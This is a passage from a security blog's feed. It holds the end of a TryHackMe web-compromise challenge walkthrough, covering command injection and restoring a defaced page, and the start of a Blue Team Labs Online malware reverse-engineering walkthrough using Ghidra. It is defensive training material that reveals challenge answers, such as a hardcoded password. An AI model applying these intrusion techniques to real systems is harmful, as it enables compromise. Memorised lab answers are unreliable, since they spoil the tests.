including the two file names we need to answer &lt;strong&gt;Questions 9 &amp;amp; 10&lt;/strong&gt;. This confirms that the web application is vulnerable to command injection.&lt;/p&gt;&#xA;&lt;p&gt;For additional context on this technique, check out the OWASP Top 10:2021 page. Here’s a quote from the &lt;em&gt;TryHackMe OWASP Top 10–2021&lt;/em&gt; room:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://owasp.org/Top10/A03_2021-Injection/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;OWASP Top 10: 2021 — A04 — Command Injection:&lt;/strong&gt;&lt;/a&gt; This occurs when user input is passed to system commands. As a result, an attacker can execute arbitrary system commands on application servers, potentially allowing them to access users’ systems.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6ca8c68ec49c0927523a35821c7cde4b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1352px&#34; data-flex-grow=&#34;563&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/6ca8c68ec49c0927523a35821c7cde4b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-can-you-use-the-file-manager-to-restore-the-original-website-by-removing-the-finally-hacked-message-what-is-the-flag-value-after-restoring-the-mainwebsite&#34;&gt;Question 11: Can you use the file manager to restore the original website by removing the “&lt;strong&gt;FINALLY HACKED&lt;/strong&gt;” message? What is the flag value after restoring the main website?&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to our final objective — restoring the website to its original state before the hack. The cool part is that this task builds directly off the information we uncovered in &lt;strong&gt;Question 10&lt;/strong&gt; — specifically, the filename of the original file manager for this web app.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the renamed URL from &lt;strong&gt;Question 10&lt;/strong&gt; to access the file manager. We’ll also need the password, which we also discovered after listing the web server contents with our &lt;code&gt;ls -la&lt;/code&gt; command. This will allow us to log in and begin restoring the site.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d9d6ba2a0bf44a31c25ec6344f9b2b8e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;466px&#34; data-flex-grow=&#34;194&#34; height=&#34;412&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/d9d6ba2a0bf44a31c25ec6344f9b2b8e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: The Admin File Manager login page&lt;/p&gt;&#xA;&lt;p&gt;Once inside the file manager, locate and open the &lt;code&gt;index.php&lt;/code&gt; file with the &lt;em&gt;Edit&lt;/em&gt; action.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0d34f2a56dd7793b6e2a94a138c9a14d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;381px&#34; data-flex-grow=&#34;159&#34; height=&#34;503&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/0d34f2a56dd7793b6e2a94a138c9a14d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;File Manager: Identifying the index.php file&lt;/p&gt;&#xA;&lt;p&gt;Inside the editor, we’ll see the message header &lt;em&gt;“FINALLY HACKED.”&lt;/em&gt; Looking further down the PHP code, there’s a condition: if the &lt;code&gt;$message&lt;/code&gt; variable does not equal &amp;ldquo;FINALLY HACKED&amp;rdquo;, the final flag will be displayed.&lt;/p&gt;&#xA;&lt;p&gt;Let’s go ahead and remove the &lt;code&gt;$message&lt;/code&gt; variable, save the file, and reload the web app’s home page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4aa1a1b7a2f894f2ebb39e27f90f268d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;354px&#34; data-flex-grow=&#34;147&#34; height=&#34;541&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/4aa1a1b7a2f894f2ebb39e27f90f268d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the defacement removed, we’re rewarded with the final flag on the restored website. Great job! Now let’s wrap up this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;113be3531ec53d0efd08b82731a7b2ba_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;481px&#34; data-flex-grow=&#34;200&#34; height=&#34;399&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/113be3531ec53d0efd08b82731a7b2ba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c07e4be5cdbd2343250d68d5cf19cb92_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/c07e4be5cdbd2343250d68d5cf19cb92_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;a41c2bbe00089ffbc13a26c8d89b6545_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;406px&#34; data-flex-grow=&#34;169&#34; height=&#34;472&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/a41c2bbe00089ffbc13a26c8d89b6545_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was a great capstone for the &lt;em&gt;Software Security&lt;/em&gt; module and tied together so many concepts covered in the content. It offered a realistic example of how layered vulnerabilities like exposed credentials, weak access controls, and command injection can compound into full web server compromise.&lt;/p&gt;&#xA;&lt;p&gt;As we moved through the investigation, we not only followed the attacker’s trail but also restored the integrity of the web application. Of course, this is only a short-term fix, and Bob definitely has his work cut out for him to get this app properly locked down.&lt;/p&gt;&#xA;&lt;p&gt;I chose this week’s challenge to start wrapping up the &lt;em&gt;Security Engineer&lt;/em&gt; path and get some hands-on practice investigating compromised web applications while testing my knowledge of the &lt;em&gt;Software Security&lt;/em&gt; modules. It was a rewarding experience as each question segued perfectly into the next, and the investigation felt linear and logical. As an added bonus, I’ve been using &lt;em&gt;Postman&lt;/em&gt; more in my day job, so getting extra reps in was a real plus. Great stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/traverse&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/traverse&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ZAP Proxy Documentation — Spider:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.zaproxy.org/docs/desktop/addons/spider/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.zaproxy.org/docs/desktop/addons/spider/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Postman:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.postman.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.postman.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;OWASP Top 10 — A03 — Injection:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://owasp.org/Top10/A03_2021-Injection/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://owasp.org/Top10/A03_2021-Injection/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  — Reverse Engineering  -  A Classic Injection Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/</link>
            <pubDate>Sun, 17 Aug 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/7ea07bc54f4d4f40ad271e55ddc48406_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  — Reverse Engineering  -  A Classic Injection Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlinereverse-engineeringa-classic-injection-challenge-walkthrough&#34;&gt;Blue Team Labs Online — Reverse Engineering — A Classic Injection Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-malware-analysis-challenge-using-ghidra-andprocmon&#34;&gt;A Malware Analysis Challenge Using Ghidra and ProcMon&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;7ea07bc54f4d4f40ad271e55ddc48406_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;526px&#34; data-flex-grow=&#34;219&#34; height=&#34;365&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/7ea07bc54f4d4f40ad271e55ddc48406_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/reverse-engineering-a-classic-injection-9791a9b784&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Reverse Engineering — A Classic Injection&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. This challenge is a fantastic introduction to malware reverse engineering using both &lt;strong&gt;static&lt;/strong&gt; and &lt;strong&gt;dynamic analysi&lt;/strong&gt;s techniques — let’s check out the scenario below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Analyse the attached EXE sample and find answers to the following questions.&#xA;Note: The EXE uses shellcode generated by the Metasploit attack framework. Make sure you analyse the sample in contained environment (we recommend a virtual machine where internet access is disabled).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we’re provided a malicious executable file generated by &lt;strong&gt;Metasploit&lt;/strong&gt;. Our job is to dig into the binary to understand what the malware is capable of and how it works.&lt;/p&gt;&#xA;&lt;p&gt;To perform this investigation, we’ll gather information about the malware and its capabilities by performing &lt;em&gt;static code analysis&lt;/em&gt; using &lt;strong&gt;Ghidra&lt;/strong&gt;. Once we’ve learned more about how the malware functions, we’ll pivot to &lt;em&gt;dynamic analysis&lt;/em&gt; by executing the malware and capturing system activity for further inspection. By combining both techniques, we’ll build a comprehensive understanding of how the malware operates.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;9195452316715a325ccdcc0289f896d7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;364px&#34; data-flex-grow=&#34;151&#34; height=&#34;441&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/9195452316715a325ccdcc0289f896d7_MD5.png&#34; width=&#34;670&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Safety first!&lt;/strong&gt; It’s always important to heed the warning when working with lab/challenge files from &lt;strong&gt;BTLO&lt;/strong&gt; (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a &lt;em&gt;dedicated&lt;/em&gt;, &lt;em&gt;isolated&lt;/em&gt; &lt;em&gt;virtual machine environment&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For example, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge: “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip a step-by-step setup of &lt;em&gt;FLARE-VM,&lt;/em&gt; but if you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-compiler-used-to-generate-theexe&#34;&gt;Question 1: What is the name of the compiler used to generate the EXE?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off our investigation! First things first: unzip the challenge file archive, then unzip the inner &lt;code&gt;.ZIP&lt;/code&gt; file to expose the sample, &lt;code&gt;analyseme.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b18c3289552d46e80e11f3ea9a9475b0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/b18c3289552d46e80e11f3ea9a9475b0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;File Explorer: The location of the malware sample.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to determine the compiler used to generate the executable. For this task, we can use a file identification tool like &lt;strong&gt;PEiD&lt;/strong&gt;, which comes bundled with &lt;em&gt;Flare-VM&lt;/em&gt;. This is a good first step in any malware reverse engineering workflow to learn more about the binary and inform the next investigative steps.&lt;/p&gt;&#xA;&lt;p&gt;After opening &lt;em&gt;PEiD&lt;/em&gt;, drag the &lt;code&gt;analyseme.exe&lt;/code&gt; file into the application to perform the analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;159d3b2b816b3f044cebc14dd51ae5f4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;236&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/159d3b2b816b3f044cebc14dd51ae5f4_MD5.png&#34; width=&#34;416&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PEiD: Identifying the compiler&lt;/p&gt;&#xA;&lt;p&gt;At the bottom of the window, we’ll see &lt;em&gt;Microsoft Visual C++ 8&lt;/em&gt; — this is the name of the compiler used to create the executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1bdb70b59d2a549dcc293aa0218e8141_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1324px&#34; data-flex-grow=&#34;551&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/1bdb70b59d2a549dcc293aa0218e8141_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-this-malware-when-executed-sleeps-for-some-time-what-is-the-sleep-time-inminutes&#34;&gt;Question 2: This malware, when executed, sleeps for some time. What is the sleep time in minutes?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the compiler, it’s time to jump into a disassembler and start statically analyzing the sample.&lt;/p&gt;&#xA;&lt;p&gt;For this task, we’ll use &lt;strong&gt;Ghidra&lt;/strong&gt;, another tool built into &lt;em&gt;Flare-VM&lt;/em&gt;. Now, full disclosure — I have little experience with &lt;em&gt;Ghidra&lt;/em&gt; outside of a lab or two. So, for some background on what &lt;em&gt;Ghidra&lt;/em&gt; is, let’s refer to the project’s &lt;a class=&#34;link&#34; href=&#34;https://github.com/NationalSecurityAgency/ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt; before we stumble through this together:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Ghidra is a software reverse engineering (SRE) framework created and maintained by the &lt;a class=&#34;link&#34; href=&#34;https://www.nsa.gov/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;National Security Agency&lt;/a&gt; Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now, let’s launch &lt;em&gt;Ghidra&lt;/em&gt;. When it starts up, we’ll create a project, drop in the &lt;code&gt;analyseme.exe&lt;/code&gt;, and let &lt;em&gt;Ghidra&lt;/em&gt; perform the initial analysis. Once that&amp;rsquo;s completed, we&amp;rsquo;ll have the symbol tree displayed on the left, the listing contents in the center, and the decompile window on the right.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we’re looking for a sleep function to determine how long the malware sleeps after execution. To orient ourselves, let’s search the program text for &lt;code&gt;&amp;quot;sleep&amp;quot;&lt;/code&gt; by pressing &lt;em&gt;Search&lt;/em&gt;, then &lt;em&gt;Search Program Text&lt;/em&gt;, and entering &lt;code&gt;sleep&lt;/code&gt; in the &lt;em&gt;Search For&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6e41b7e268bdde7fb064b908607abec3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;385px&#34; data-flex-grow=&#34;160&#34; height=&#34;498&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/6e41b7e268bdde7fb064b908607abec3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Searching for the references to sleep&lt;/p&gt;&#xA;&lt;p&gt;Selecting the entry in the search takes us directly to the referenced pointer in the listing window. Notice the &lt;code&gt;DWORD dwMilliseconds&lt;/code&gt;? Keep that in mind. Next, let&amp;rsquo;s figure out where this is referenced by clicking &lt;code&gt;FUN_00401220:00401252 (R)&lt;/code&gt; which I&amp;rsquo;ve highlighted below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;11e8cea84a1948b7355dcb6eaa585f8e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;356px&#34; data-flex-grow=&#34;148&#34; height=&#34;539&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/11e8cea84a1948b7355dcb6eaa585f8e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Clicking the associated function&lt;/p&gt;&#xA;&lt;p&gt;Now, focusing on the decompile window on the right-hand side of &lt;em&gt;Ghidra&lt;/em&gt;. Here we see a value of &lt;code&gt;[Sleep(180000)](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0b5fc97574e0ef68506307a9938fa98e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/0b5fc97574e0ef68506307a9938fa98e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Identifying the sleep value&lt;/p&gt;&#xA;&lt;p&gt;Recall the &lt;code&gt;DWORD dwMilliseconds&lt;/code&gt; we flagged earlier? All we have to do now is convert 180000 milliseconds to minutes, and we’ve got our answer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;180000 milliseconds = 3 minutes&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d550bd565273144b3187a0e74cb4dd26_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1054px&#34; data-flex-grow=&#34;439&#34; height=&#34;182&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/d550bd565273144b3187a0e74cb4dd26_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-after-the-sleep-time-it-prompts-for-user-password-what-is-the-correct-password&#34;&gt;Question 3: After the sleep time, it prompts for user password, what is the correct password?&#xA;&lt;/h3&gt;&lt;p&gt;For our next task, we need to discover the correct password required to execute the malware after the sleep time we found in &lt;strong&gt;Question 2&lt;/strong&gt;. This likely means we’re looking for an &lt;em&gt;if statement&lt;/em&gt; that checks for a specific password.&lt;/p&gt;&#xA;&lt;p&gt;One way to approach this is to use &lt;em&gt;Ghidra&lt;/em&gt; to search for text strings in the application that might indicate a hardcoded password. To do this, press &lt;em&gt;Search &amp;gt; String Search&lt;/em&gt; to get an overview of strings that appear in the binary. But first, let’s change the minimum length from 5 to 3 — just in case the password is shorter than 5 characters because, security 😋.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;63299dd440b03205b3e673d9f2f3439b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;325px&#34; data-flex-grow=&#34;135&#34; height=&#34;304&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/63299dd440b03205b3e673d9f2f3439b_MD5.png&#34; width=&#34;412&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: String search interface&lt;/p&gt;&#xA;&lt;p&gt;After reviewing the results, we’ll stumble on an interesting string, &lt;code&gt;btlo&lt;/code&gt;, with the label &lt;code&gt;DAT_00403210&lt;/code&gt; — this sticks out as a bit odd.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c8508db6698e478150712460e0468e24_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;549&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/c8508db6698e478150712460e0468e24_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Identifying interesting string&lt;/p&gt;&#xA;&lt;p&gt;Clicking the string brings us back to &lt;code&gt;FUN_00401220&lt;/code&gt;, where we previously identified the sleep timer. In the decompile window, it seems this string is tied to an &lt;em&gt;if statement&lt;/em&gt;, leading us to the conclusion that this is probably the correct password.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;81836dc136886f966d044371d2e3c3e1_MD5.png&#34; class=&#34;gallery-image&#34; 